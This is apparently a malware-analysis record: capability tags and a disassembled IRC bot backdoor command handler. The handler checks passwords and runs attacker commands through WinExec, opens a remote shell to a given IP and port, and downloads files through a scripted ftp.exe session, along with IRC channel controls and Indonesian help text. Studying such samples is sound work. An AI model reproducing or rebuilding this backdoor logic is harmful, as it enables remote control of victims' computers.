Function at 0x407200
Capabilities:
Create process on windows
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x654
sub eax, 2
push ebx
push esi
push edi
jne 0x4079bb
mov esi, str.s0lp0t
mov eax, 0x4218b0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x407248
test cl, cl
je 0x407244
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x407248
add eax, 2
add esi, 2
test cl, cl
jne 0x407220
xor eax, eax
jmp 0x40724d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407290
mov esi, str.yeah
mov eax, 0x4218b0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x407283
test cl, cl
je 0x40727f
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x407283
add eax, 2
add esi, 2
test cl, cl
jne 0x40725b
xor eax, eax
jmp 0x407288
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4079bb
lea eax, [esp + 0x60]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sscanf]
push eax
push 0x40b0d0
push 0x41f730
call ebp
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [esp + 0x70]
push str.cmd
push ecx
call edi
add esp, 0x14
test eax, eax
je 0x4072ed
lea edx, [esp + 0x124]
lea eax, [esp + 0x64]
push edx
push eax
push str._s____n_r_
push 0x41f730
call ebp
add esp, 0x10
lea ecx, [esp + 0x124]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 0x64]
push str.shell
push edx
call edi
add esp, 8
test eax, eax
je 0x407333
lea eax, [esp + 0x24]
lea ecx, [esp + 0x224]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s__s
push 0x41f730
call ebp
lea eax, [esp + 0x38]
lea ecx, [esp + 0x238]
push eax
push ecx
call fcn.00407af0
add esp, 0x1c
lea edx, [esp + 0x64]
push str.file
push edx
call edi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
test eax, eax
je 0x40745a
mov eax, dword [str.open]
mov cl, byte [0x40c1c4]
mov edx, dword [0x40c1bc]
mov dword [esp + 0x1c], eax
mov eax, dword [str.quit]
mov byte [esp + 0x20], cl
mov cl, byte [0x40c1b8]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], eax
lea edx, [esp + 0x24]
mov byte [esp + 0x18], cl
lea eax, [esp + 0xe4]
push edx
lea ecx, [esp + 0x228]
push eax
lea edx, [esp + 0xac]
push ecx
lea eax, [esp + 0x70]
push edx
push eax
push str._s__s__s__s__s
push 0x41f730
call ebp
lea ecx, [esp + 0x30]
lea edx, [esp + 0x40]
push ecx
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0x248]
push eax
lea edx, [esp + 0x10c]
push ecx
lea eax, [esp + 0x3c]
push edx
lea ecx, [esp + 0x40]
push eax
lea edx, [esp + 0xd8]
push ecx
lea eax, [esp + 0x54]
push edx
push eax
lea ecx, [esp + 0x164]
push str._s__s_n_s_n_s_n_s_n_s_n_s_n_s_n_s_n
push ecx
call esi
add esp, 0x48
push 0x40c184
push str.ftp.txt
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x407442
lea edi, [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x128]
push ecx
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
push 0
push 0
push str._s:ftp.txt
push str.ftp.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 0x64]
push str.send
push eax
call edi
mov ebx, dword [sym.imp.WS2_32.dll_send]
add esp, 8
test eax, eax
je 0x4074d8
lea ecx, [esp + 0xa4]
lea edx, [esp + 0xe4]
push ecx
lea eax, [esp + 0x68]
push edx
push eax
push str._s__s____n_r_
push 0x41f730
call ebp
lea ecx, [esp + 0xb8]
lea edx, [esp + 0xf8]
push ecx
push edx
lea eax, [esp + 0x40]
push str.PRIVMSG__s_:_s_n
push eax
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push edx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0x64]
push str.nick
push eax
call edi
add esp, 8
test eax, eax
je 0x40753f
lea ecx, [esp + 0xa4]
lea edx, [esp + 0x64]
push ecx
push edx
push 0x40b0e0
push 0x41f730
call ebp
lea eax, [esp + 0xb4]
lea ecx, [esp + 0x34]
push eax
push str.NICK__s_n
push ecx
call esi
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x1c
repne scasb al, byte es:[edi]
mov eax, dword [0x41d72c]
push 0
not ecx
dec ecx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [esp + 0x64]
push str.join
push ecx
call edi
add esp, 8
test eax, eax
je 0x4075a7
lea edx, [esp + 0xa4]
lea eax, [esp + 0x64]
push edx
push eax
push 0x40b0e0
push 0x41f730
call ebp
lea ecx, [esp + 0xb4]
lea edx, [esp + 0x34]
push ecx
push str.JOIN__s_n
push edx
call esi
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x1c
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.part
push edx
call edi
add esp, 8
test eax, eax
je 0x40761f
lea eax, [esp + 0x264]
lea ecx, [esp + 0xa4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s____n_r_
push 0x41f730
call ebp
lea eax, [esp + 0x278]
lea ecx, [esp + 0xb8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.PART__s__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.kick
push edx
call edi
add esp, 8
test eax, eax
je 0x407697
lea eax, [esp + 0x264]
lea ecx, [esp + 0xa4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s____n_r_
push 0x41f730
call ebp
lea eax, [esp + 0x278]
lea ecx, [esp + 0xb8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.KICK__s__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.op
push edx
call edi
add esp, 8
test eax, eax
je 0x40770f
lea eax, [esp + 0xa4]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s__s
push 0x41f730
call ebp
lea eax, [esp + 0xb8]
lea ecx, [esp + 0xf8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.MODE__s_o__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.deop
push edx
call edi
add esp, 8
test eax, eax
je 0x407787
lea eax, [esp + 0xa4]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s__s
push 0x41f730
call ebp
lea eax, [esp + 0xb8]
lea ecx, [esp + 0xf8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.MODE__s__o__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.ban
push edx
call edi
add esp, 8
test eax, eax
je 0x4077ff
lea eax, [esp + 0xa4]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s__s
push 0x41f730
call ebp
lea eax, [esp + 0xb8]
lea ecx, [esp + 0xf8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.MODE__s_b__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.unban
push edx
call edi
add esp, 8
test eax, eax
je 0x407877
lea eax, [esp + 0xa4]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0x68]
push ecx
push edx
push str._s__s__s
push 0x41f730
call ebp
lea eax, [esp + 0xb8]
lea ecx, [esp + 0xf8]
push eax
push ecx
lea edx, [esp + 0x40]
push str.MODE__s__b__s_n
push edx
call esi
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
mov ecx, dword [0x41d72c]
lea eax, [esp + 0x2c]
push eax
push ecx
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x64]
push str.help
push edx
call edi
add esp, 8
test eax, eax
pop ebp
je 0x4079bb
push 0x4218b0
lea eax, [esp + 0x124]
push str.PRIVMSG__s_:Perintah_Perintah_n
push eax
call esi
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
call ebx
push 0x4218b0
lea eax, [esp + 0x124]
push str.PRIVMSG__s_:_cmd__shell__file__send__nick__join__part__op__deop__ban__unban__help_n
push eax
call esi
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
call ebx
push 0x4218b0
lea eax, [esp + 0x124]
push str.PRIVMSG__s_:Contoh_Perintah_Perintah_:_n
push eax
call esi
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
call ebx
push 0x4218b0
lea eax, [esp + 0x124]
push str.PRIVMSG__s_:_cmd_perintah__shell_ip_port__file_ftp_server_file__send_channel_nick_pesan__nick_nick_baru_n
push eax
call esi
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
call ebx
push 0x4218b0
lea eax, [esp + 0x124]
push str.PRIVMSG__s_:_join_channel__part_channel__op_nick_channel__deop_channel_nick__ban_channel_nick__unban_channel_nick__help_n
push eax
call esi
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [0x41d72c]
push 0
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
call ebx
pop edi
pop esi
pop ebx
add esp, 0x654
ret